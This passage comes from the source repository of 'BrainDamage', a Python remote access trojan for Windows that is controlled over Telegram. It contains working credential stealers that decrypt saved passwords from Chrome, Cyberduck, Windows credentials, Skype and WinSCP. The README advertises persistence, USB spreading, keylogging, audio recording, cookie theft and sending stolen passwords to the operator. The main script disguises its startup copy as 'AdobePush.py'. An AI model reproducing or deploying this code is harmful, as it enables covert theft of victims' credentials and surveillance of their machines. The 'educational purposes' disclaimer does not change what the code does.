'[*] Finding Skype credentials' 80 | skype_ms = skype.Skype() 81 | ret_list.append("Skype") 82 | ret_list.append(skype_ms.run()) 83 | except: 84 | pass 85 | 86 | try: 87 | print '[*] Finding DotNet credentials' 88 | d_net = dotnet.Dot_net() 89 | ret_list.append("DotNet") 90 | ret_list.append(d_net.run()) 91 | except: 92 | pass 93 | 94 | try: 95 | print '[*] Finding Network credentials' 96 | net_work = network.Network() 97 | ret_list.append("Network") 98 | ret_list.append(net_work.run()) 99 | except: 100 | pass 101 | 102 | try: 103 | print '[*] Finding Putty credentials' 104 | putty_cm = putty.Putty() 105 | ret_list.append("Putty") 106 | ret_list.append(putty_cm.run()) 107 | except: 108 | pass 109 | 110 | try: 111 | print '[*] Finding WinSCP credentials' 112 | win_scp = winscp.WinSCP() 113 | ret_list.append("WinSCP") 114 | ret_list.append(win_scp.run()) 115 | except: 116 | pass 117 | 118 | print '[*] Returning found passwords' 119 | return ret_list 120 | 121 | # tem = Result() 122 | # slave_info = 'info.txt' #C:\Users\Public\Intel\Logs\ 123 | # open_slave_info = open(slave_info, "w") 124 | # open_slave_info.write(str(tem.run()) + "\n") 125 | # open_slave_info.close() 126 | 127 | -------------------------------------------------------------------------------- /Echoes/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mehulj94/BrainDamage/49a29c2606d5f7c0d9705ae5f4201a6bb25cfe73/Echoes/__init__.py -------------------------------------------------------------------------------- /Echoes/chrome.py: -------------------------------------------------------------------------------- 1 | import sqlite3 2 | import shutil 3 | import win32crypt 4 | import sys, os, platform 5 | 6 | 7 | class Chrome(): 8 | def __init__(self): 9 | pass 10 | 11 | def run(self): 12 | 13 | database_path = '' 14 | if 'HOMEDRIVE' in os.environ and 'HOMEPATH' in os.environ: 15 | # For Win7 16 | path_Win7 = os.environ.get('HOMEDRIVE') + os.environ.get( 17 | 'HOMEPATH') + '\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data' 18 | 19 | # For XP 20 | path_XP = os.environ.get('HOMEDRIVE') + os.environ.get( 21 | 'HOMEPATH') + '\AppData\Local\Google\Chrome\User Data\Default\Login Data' 22 | 23 | if os.path.exists(path_XP): 24 | database_path = path_XP 25 | 26 | elif os.path.exists(path_Win7): 27 | database_path = path_Win7 28 | 29 | else: 30 | return 31 | else: 32 | return 33 | 34 | # Copy database before to query it (bypass lock errors) 35 | try: 36 | shutil.copy(database_path, os.getcwd() + os.sep + 'tmp_db') 37 | database_path = os.getcwd() + os.sep + 'tmp_db' 38 | 39 | except Exception, e: 40 | pass 41 | 42 | # Connect to the Database 43 | try: 44 | conn = sqlite3.connect(database_path) 45 | cursor = conn.cursor() 46 | except Exception, e: 47 | return 48 | 49 | # Get the results 50 | try: 51 | cursor.execute('SELECT action_url, username_value, password_value FROM logins') 52 | except: 53 | return 54 | 55 | pwdFound = [] 56 | for result in cursor.fetchall(): 57 | values = {} 58 | 59 | try: 60 | # Decrypt the Password 61 | password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1] 62 | except Exception, e: 63 | password = '' 64 | 65 | if password: 66 | values['Site'] = result[0] 67 | values['Username'] = result[1] 68 | values['Password'] = password 69 | pwdFound.append(values) 70 | 71 | conn.close() 72 | if database_path.endswith('tmp_db'): 73 | os.remove(database_path) 74 | 75 | return pwdFound 76 | 77 | # tem = Chrome() 78 | # a = tem.run() 79 | # print a -------------------------------------------------------------------------------- /Echoes/constant.py: -------------------------------------------------------------------------------- 1 | class constant(): 2 | folder_name = 'results' 3 | MAX_HELP_POSITION = 27 4 | CURRENT_VERSION = '1.1' 5 | output = None 6 | file_logger = None 7 | 8 | # jitsi options 9 | jitsi_masterpass = None 10 | 11 | # mozilla options 12 | manually = None 13 | path = None 14 | bruteforce = None 15 | specific_path = None 16 | mozilla_software = '' 17 | 18 | # ie options 19 | ie_historic = None 20 | 21 | # total password found 22 | nbPasswordFound = 0 23 | passwordFound = [] 24 | -------------------------------------------------------------------------------- /Echoes/cyberduck.py: -------------------------------------------------------------------------------- 1 | # Based on the works of https://github.com/AlessandroZ/LaZagne/blob/master/Windows/lazagne/ 2 | import win32crypt 3 | import os, base64 4 | import xml.etree.cElementTree as ET 5 | 6 | 7 | class Cyberduck(): 8 | def __init__(self): 9 | pass 10 | 11 | # find the user.config file containing passwords 12 | def get_path(self): 13 | if 'APPDATA' in os.environ: 14 | directory = os.environ['APPDATA'] + '\Cyberduck' 15 | 16 | if os.path.exists(directory): 17 | for dir in os.listdir(directory): 18 | if dir.startswith('Cyberduck'): 19 | for d in os.listdir(directory + os.sep + dir): 20 | path = directory + os.sep + dir + os.sep + d + os.sep + 'user.config' 21 | if os.path.exists(path): 22 | return path 23 | 24 | return 'User_profil_not_found' 25 | else: 26 | return 'CYBERDUCK_NOT_EXISTS' 27 | else: 28 | return 'APPDATA_NOT_FOUND' 29 | 30 | # parse the xml file 31 | def parse_xml(self, xml_file): 32 | tree = ET.ElementTree(file=xml_file) 33 | 34 | pwdFound = [] 35 | for elem in tree.iter(): 36 | values = {} 37 | try: 38 | if elem.attrib['name'].startswith('ftp') or elem.attrib['name'].startswith('ftps') or elem.attrib[ 39 | 'name'].startswith('sftp') or elem.attrib['name'].startswith('http') or elem.attrib[ 40 | 'name'].startswith('https'): 41 | values['URL'] = elem.attrib['name'] 42 | encrypted_password = base64.b64decode(elem.attrib['value']) 43 | password = win32crypt.CryptUnprotectData(encrypted_password, None, None, None, 0)[1] 44 | values['Password'] = password 45 | 46 | pwdFound.append(values) 47 | except Exception, e: 48 | pass 49 | 50 | # print the results 51 | return pwdFound 52 | 53 | # main function 54 | def run(self): 55 | 56 | path = self.get_path() 57 | if path == 'CYBERDUCK_NOT_EXISTS': 58 | pass 59 | elif path == 'User_profil_not_found': 60 | pass 61 | elif path == 'APPDATA_NOT_FOUND': 62 | pass 63 | else: 64 | pwd_found = self.parse_xml(path) 65 | return pwd_found 66 | 67 | #tem = Cyberduck() 68 | #a = tem.run() 69 | #print a 70 | -------------------------------------------------------------------------------- /Echoes/dotnet.py: -------------------------------------------------------------------------------- 1 | # Based on the work of https://github.com/AlessandroZ/LaZagne/blob/master/Windows/lazagne/ 2 | import struct 3 | from ctypes import * 4 | from ctypes.wintypes import DWORD 5 | import win32cred 6 | 7 | memcpy = cdll.msvcrt.memcpy 8 | LocalFree = windll.kernel32.LocalFree 9 | CryptUnprotectData = windll.crypt32.CryptUnprotectData 10 | CRYPTPROTECT_UI_FORBIDDEN = 0x01 11 | 12 | 13 | class DATA_BLOB(Structure): 14 | _fields_ = [ 15 | ('cbData', DWORD), 16 | ('pbData', POINTER(c_char)) 17 | ] 18 | 19 | 20 | class Dot_net(): 21 | def __init__(self): 22 | pass 23 | 24 | def getData(self, blobOut): 25 | cbData = int(blobOut.cbData) 26 | pbData = blobOut.pbData 27 | buffer = c_buffer(cbData) 28 | memcpy(buffer, pbData, cbData) 29 | LocalFree(pbData); 30 | return buffer.raw 31 | 32 | def get_creds(self): 33 | try: 34 | creds = win32cred.CredEnumerate(None, 0) 35 | return creds 36 | except Exception, e: 37 | # print e 38 | return None 39 | 40 | def get_entropy(self): 41 | entropy = '82BD0E67-9FEA-4748-8672-D5EFE5B779B0\0' 42 | s = '' 43 | for c in entropy: 44 | s += struct.pack('I", dec).strip('\x00') 69 | 70 | # byte to hex 71 | return binascii.hexlify(tmp) 72 | 73 | # used for dictionary attack, if user specify a specific file 74 | def get_dic_file(self, dictionary_path): 75 | words = [] 76 | if dictionary_path: 77 | try: 78 | dicFile = open(dictionary_path, 'r') 79 | except Exception, e: 80 | return [] 81 | 82 | for word in dicFile.readlines(): 83 | words.append(word.strip('\n')) 84 | dicFile.close() 85 | return words 86 | 87 | def dictionary_attack(self, login, md5): 88 | wordlist = [] 89 | 90 | for word in wordlist: 91 | hash = hashlib.md5('%s\nskyper\n%s' % (login, word)).hexdigest() 92 | if hash == md5: 93 | return word 94 | return False 95 | 96 | # main function 97 | def run(self): 98 | 99 | if 'APPDATA' in os.environ: 100 | directory = os.environ['APPDATA'] + '\Skype' 101 | 102 | if os.path.exists(directory): 103 | # retrieve the key used to build the salt 104 | key = self.get_regkey() 105 | if key == 'failed': 106 | pass 107 | #print 'failed' 108 | else: 109 | pwdFound = [] 110 | for d in os.listdir(directory): 111 | if os.path.exists(directory + os.sep + d + os.sep + 'config.xml'): 112 | values = {} 113 | 114 | try: 115 | values['username'] = d 116 | 117 | # get encrypted hash from the config file 118 | enc_hex = self.get_hash_credential(directory + os.sep + d + os.sep + 'config.xml') 119 | 120 | if enc_hex == 'failed': 121 | pass 122 | else: 123 | # decrypt the hash to get the md5 to brue force 124 | values['hash_md5'] = self.get_md5_hash(enc_hex, key) 125 | values['shema to bruteforce'] = values['username'] + '\\nskyper\\n' 126 | 127 | # Try a dictionary attack on the hash 128 | password = self.dictionary_attack(values['username'], values['hash_md5']) 129 | if password: 130 | values['password'] = password 131 | 132 | pwdFound.append(values) 133 | except Exception, e: 134 | pass 135 | #print e 136 | # print the results 137 | return pwdFound 138 | else: 139 | pass 140 | else: 141 | pass 142 | 143 | #tem = Skype() 144 | #a = tem.run() 145 | #print a 146 | -------------------------------------------------------------------------------- /Echoes/winscp.py: -------------------------------------------------------------------------------- 1 | # Based on the work of https://github.com/AlessandroZ/LaZagne/blob/master/Windows/lazagne/ 2 | import win32con, win32api 3 | 4 | 5 | class WinSCP(): 6 | def __init__(self): 7 | self.hash = '' 8 | self.username = '' 9 | self.hostname = '' 10 | 11 | # ------------------------------ Getters and Setters ------------------------------ 12 | def get_hash(self): 13 | return self.hash 14 | 15 | def set_hash(self, _hash): 16 | self.hash = _hash 17 | 18 | def get_username(self): 19 | return self.username 20 | 21 | def set_username(self, _username): 22 | self.username = _username 23 | 24 | def get_hostname(self): 25 | return self.hostname 26 | 27 | def set_hostname(self, _hostname): 28 | self.hostname = _hostname 29 | 30 | def decrypt_char(self): 31 | hash = self.get_hash() 32 | 33 | hex_flag = 0xA3 34 | charset = '0123456789ABCDEF' 35 | 36 | if len(hash) > 0: 37 | unpack1 = charset.find(hash[0]) 38 | unpack1 = unpack1 << 4 39 | 40 | unpack2 = charset.find(hash[1]) 41 | result = ~((unpack1 + unpack2) ^ hex_flag) & 0xff 42 | 43 | # store the new hash 44 | self.set_hash(hash[2:]) 45 | 46 | return result 47 | 48 | def check_winscp_installed(self): 49 | accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE 50 | try: 51 | key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 52 | 'Software\Martin Prikryl\WinSCP 2\Configuration\Security', 0, accessRead) 53 | return True 54 | except Exception, e: 55 | return False 56 | 57 | def check_masterPassword(self): 58 | accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE 59 | key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'Software\Martin Prikryl\WinSCP 2\Configuration\Security', 60 | 0, accessRead) 61 | thisName = str(win32api.RegQueryValueEx(key, 'UseMasterPassword')[0]) 62 | 63 | if thisName == '0': 64 | return False 65 | else: 66 | return True 67 | 68 | def get_logins_info(self): 69 | accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE 70 | try: 71 | key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'Software\Martin Prikryl\WinSCP 2\Sessions', 0, 72 | accessRead) 73 | except Exception, e: 74 | return False 75 | 76 | num_profiles = win32api.RegQueryInfoKey(key)[0] 77 | 78 | pwdFound = [] 79 | for n in range(num_profiles): 80 | name_skey = win32api.RegEnumKey(key, n) 81 | 82 | skey = win32api.RegOpenKey(key, name_skey, 0, accessRead) 83 | num = win32api.RegQueryInfoKey(skey)[1] 84 | 85 | port = '' 86 | values = {} 87 | 88 | for nn in range(num): 89 | k = win32api.RegEnumValue(skey, nn) 90 | 91 | if k[0] == 'HostName': 92 | self.set_hostname(k[1]) 93 | 94 | if k[0] == 'UserName': 95 | self.set_username(k[1]) 96 | 97 | if k[0] == 'Password': 98 | self.set_hash(k[1]) 99 | 100 | if k[0] == 'PortNumber': 101 | port = str(k[1]) 102 | 103 | if num != 0: 104 | if port == '': 105 | port = '22' 106 | try: 107 | password = self.decrypt_password() 108 | values['Password'] = password 109 | except Exception, e: 110 | pass 111 | 112 | values['Hostname'] = self.get_hostname() 113 | values['Port'] = port 114 | values['Username'] = self.get_username() 115 | 116 | pwdFound.append(values) 117 | 118 | # print the results 119 | return pwdFound 120 | 121 | def decrypt_password(self): 122 | hex_flag = 0xFF 123 | 124 | flag = self.decrypt_char() 125 | if flag == hex_flag: 126 | self.decrypt_char() 127 | length = self.decrypt_char() 128 | else: 129 | length = flag 130 | 131 | ldel = (self.decrypt_char()) * 2 132 | 133 | hash = self.get_hash() 134 | self.set_hash(hash[ldel: len(hash)]) 135 | 136 | result = '' 137 | for ss in range(length): 138 | 139 | try: 140 | result += chr(int(self.decrypt_char())) 141 | except Exception, e: 142 | pass 143 | 144 | if flag == hex_flag: 145 | key = self.get_username() + self.get_hostname() 146 | result = result[len(key): len(result)] 147 | 148 | return result 149 | 150 | # --------- Main function --------- 151 | def run(self): 152 | 153 | if self.check_winscp_installed(): 154 | if not self.check_masterPassword(): 155 | r = self.get_logins_info() 156 | if r == False: 157 | pass 158 | else: 159 | return r 160 | 161 | # tem = WinSCP() 162 | # a = tem.run() 163 | # print a 164 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "{}" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright {yyyy} {name of copyright owner} 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BrainDamage 2 | A python based remote administration tool which uses [Telegram](https://telegram.org/) as C&C server. 3 | 4 | ``` 5 | /\ 6 | /_.\ 7 | _,.-'/ `",\'-.,_ 8 | -~^ /______\`~~-^~: 9 | 10 | ____ _ _____ 11 | | _ \ (_) | __ \ 12 | | |_) |_ __ __ _ _ _ __ | | | | __ _ _ __ ___ __ _ __ _ ___ 13 | | _ <| '__/ _` | | '_ \| | | |/ _` | '_ ` _ \ / _` |/ _` |/ _ \ 14 | | |_) | | | (_| | | | | | |__| | (_| | | | | | | (_| | (_| | __/ 15 | |____/|_| \__,_|_|_| |_|_____/ \__,_|_| |_| |_|\__,_|\__, |\___| 16 | __/ | 17 | |___/ 18 | 19 | --> Coded by: Mehul Jain 20 | --> For windows only 21 | 22 | ______ _ 23 | | ____| | | 24 | | |__ ___ __ _| |_ _ _ _ __ ___ ___ 25 | | __/ _ \/ _` | __| | | | '__/ _ \/ __| 26 | | | | __/ (_| | |_| |_| | | | __/\__ \ 27 | |_| \___|\__,_|\__|\__,_|_| \___||___/ 28 | 29 | 30 | --> Persistance 31 | --> USB spread 32 | --> Port Scanner 33 | --> Router Finder 34 | --> Run shell commands 35 | --> Keys logging 36 | --> Insert keystrokes 37 | --> Record audio 38 | --> Webserver 39 | --> Screenshot logging 40 | --> Download files in the host 41 | --> Execute shutdown, restart, logoff, lock 42 | --> Send drive tree structure 43 | --> Set email template 44 | --> Rename Files 45 | --> Change wallpaper 46 | --> Open website 47 | --> Send Password for 48 | • Chrome 49 | • Mozilla 50 | • Filezilla 51 | • Core FTP 52 | • CyberDuck 53 | • FTPNavigator 54 | • WinSCP 55 | • Outlook 56 | • Putty 57 | • Skype 58 | • Generic Network 59 | --> Cookie stealer 60 | --> Send active windows 61 | --> Gather system information 62 | • Drives list 63 | • Internal and External IP 64 | • Ipconfig /all output 65 | • Platform 66 | ``` 67 | 68 | # Setup 69 | * Telegram setup: 70 | * Install [Telegram](https://telegram.org/) app and search for "BOTFATHER". 71 | * Type /help to see all possible commands. 72 | * Click on or type /newbot to create a new bot. 73 | * Name your bot. 74 | * You should see a new API token generated for it. 75 | * Dedicated Gmail account. Remember to check "allow connection from less secure apps" in gmail settings. 76 | * Set access_token in eclipse.py to token given by the botfather. 77 | * Set CHAT_ID in eclipse.py. Send a message from the app and use the telegram api to get this chat id. 78 | 79 | > bot.getMe() will give output {'first_name': 'Your Bot', 'username': 'YourBot', 'id': 123456789} 80 | 81 | * Set copied_startup_filename in Eclipse.py. 82 | * Set Gmail password and Username in /Breathe/SendData.py 83 | 84 | 85 | # Abilities 86 | * whoisonline- list active slaves 87 | > This command will list all the active slaves. 88 | 89 | * destroy- delete&clean up 90 | > This command will remove the stub from host and will remove registry entries. 91 | 92 | * cmd- execute command on CMD 93 | > Run shell commands on host 94 | 95 | * download- url (startup, desktop, default) 96 | > This will download files in the host computer. 97 | 98 | * execute- shutdown, restart, logoff, lock 99 | > Execute the following commands 100 | 101 | * screenshot- take screenshot 102 | > Take screenshot of the host of computer. 103 | 104 | * send- passwords, drivetree, driveslist, keystrokes, openwindows 105 | > This command will sends passwords (saved browser passwords, FTP, Putty..), directory tree of host (upto level 2), logged keystrokes and windows which are currently open 106 | 107 | * set- email (0:Default,1:URL,2:Update), filename (0: Itself, 1: Others), keystrokes (text) 108 | > This command can set email template (default, download from url, update current template with text you'll send), rename filenames or insert keystrokes in host. 109 | 110 | * start- website (URL), keylogger, recaudio (time), webserver (Port), spread 111 | > This command can open website, start keylogger, record audio, start webserver, USB Spreading 112 | 113 | * stop- keylogger, webserver 114 | > This command will stop keylogger or webserver 115 | 116 | * wallpaper- change wallpaper (URL) 117 | > Changes wallpaper of host computer 118 | 119 | * find- openports (host, threads, ports), router 120 | > This command will find open ports and the router the host is using 121 | 122 | * help- print this usage 123 | 124 | # Requirements 125 | * [Telepot](https://github.com/nickoala/telepot) 126 | * [PyAudio](https://people.csail.mit.edu/hubert/pyaudio/) 127 | * [PyCrypto](http://www.voidspace.org.uk/python/modules.shtml#pycrypto) 128 | * [Pyasn1](https://pypi.python.org/pypi/pyasn1) 129 | * [Pillow](https://pillow.readthedocs.io/en/latest/installation.html) 130 | * Install [PyHook](https://sourceforge.net/projects/pyhook/) 131 | * Install [PyWin32](https://sourceforge.net/projects/pywin32/) 132 | * Install [Microsoft Visual C++ Compiler for Python](https://www.microsoft.com/en-us/download/details.aspx?id=44266) 133 | * Install [PyInstaller](http://www.pyinstaller.org/) 134 | 135 | # Screenshots 136 | 137 | ![Setup](https://image.ibb.co/mkWNRF/Capture.png) 138 | 139 | ![Notification](https://image.ibb.co/kCey0a/IMG_0009.jpg) 140 | 141 | ![Who is Online Telegram](https://image.ibb.co/f20GmF/IMG_0006.jpg) 142 | 143 | ![Help Telegram](https://image.ibb.co/bZHJ0a/IMG_0004.jpg) 144 | 145 | ![Record Audio Telegram](https://image.ibb.co/dA3fDv/IMG_0005.jpg) 146 | 147 | ![Take screenshot Telegram](https://image.ibb.co/buPntv/IMG_0007.jpg) 148 | 149 | # For educational purposes only, use at your own responsibility. 150 | 151 | -------------------------------------------------------------------------------- /_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-cayman -------------------------------------------------------------------------------- /eclipse.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import time 4 | import errno 5 | import shutil 6 | import ctypes 7 | import pyHook 8 | import urllib 9 | import urllib2 10 | import telepot 11 | import getpass 12 | import logging 13 | import win32api 14 | import win32gui 15 | import datetime 16 | import platform 17 | import threading 18 | import pythoncom 19 | import webbrowser 20 | import subprocess 21 | from Breathe import add_to_registry 22 | from Breathe import ChangeWallpaper 23 | from Breathe import check_external_drive 24 | from Breathe import CookieStealer 25 | from Breathe import DirectoryTree 26 | from Breathe import hideme 27 | from Breathe import httpServer 28 | from Breathe import insertkeystrokes 29 | from Breathe import makeRouterList 30 | from Breathe import modify_file_names 31 | from Breathe import modify_timestamp 32 | from Breathe import portmap 33 | from Breathe import RadiumKeylogger 34 | from Breathe import RecAudio 35 | from Breathe import router_check 36 | from Breathe import SendData 37 | from Breathe import set_email_template 38 | from Breathe import window_title 39 | from Echoes import Run 40 | from PIL import ImageGrab 41 | from uuid import getnode as get_mac 42 | 43 | # ----------------------------------------------------------------------------- 44 | CHAT_ID = '' #Get chat id from telegram app 45 | BOTS_ALIVE = [] 46 | MAC_ADDRESS = ':'.join(("%012X" % get_mac())[i:i + 2] for i in range(0, 12, 2)) 47 | PLAT_FORM = platform.platform() 48 | USER = getpass.getuser() 49 | 50 | bot = None 51 | save_keystroke = None 52 | key_logger = '' 53 | info = 'info.txt' 54 | transfer = SendData.EmailData() 55 | 56 | buffer = '' 57 | window = '' 58 | 59 | SPI_SETDESKWALLPAPER = 20 60 | current_active_window = '' 61 | current_system_time = datetime.datetime.now() 62 | 63 | copied_startup_filename = 'AdobePush.py' # The file will be copied to startup folder by this name 64 | 65 | access_token = '' # Get access token from botfather in telegram app 66 | FLAGS = ["#START", "#STOP", "#EXECUTE", "#SEND", "#DOWNLOAD", "#UPLOAD", "#SCREENSHOT", "#CMD", "#WALLPAPER", "#HELP", "#SET", "#FIND"] 67 | # ----------------------------------------------------------------------------- 68 | 69 | threads = 10 70 | emailFlag = 0 71 | server = [] 72 | 73 | CURR_DIR = os.getcwd() 74 | CURR_FILE_PATH = os.path.realpath(__file__) 75 | CURR_FILE_NAME = os.path.basename(__file__) 76 | SAVE_FILES = os.environ.get('HOMEDRIVE') + os.environ.get('HOMEPATH') + '\AppData\Local\CandC' 77 | CACHE_PATH = SAVE_FILES + "\\Cache\\" 78 | USERDATA_PATH = SAVE_FILES + "\\User Data\\" 79 | SERVER_PATH = SAVE_FILES + "\\Server" 80 | PATH_MAIL_TEMP = USERDATA_PATH + "email_template.et" 81 | STARTUP_PATH = os.environ.get('HOMEDRIVE') + os.environ.get('HOMEPATH') + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' 82 | 83 | help_text='''whoisonline- list active slaves 84 | destroy- delete&clean up 85 | #cmd- execute command on CMD 86 | #download- url (startup, desktop, default) 87 | #execute- shutdown, restart, logoff, lock 88 | #screenshot- take screenshot 89 | #send- 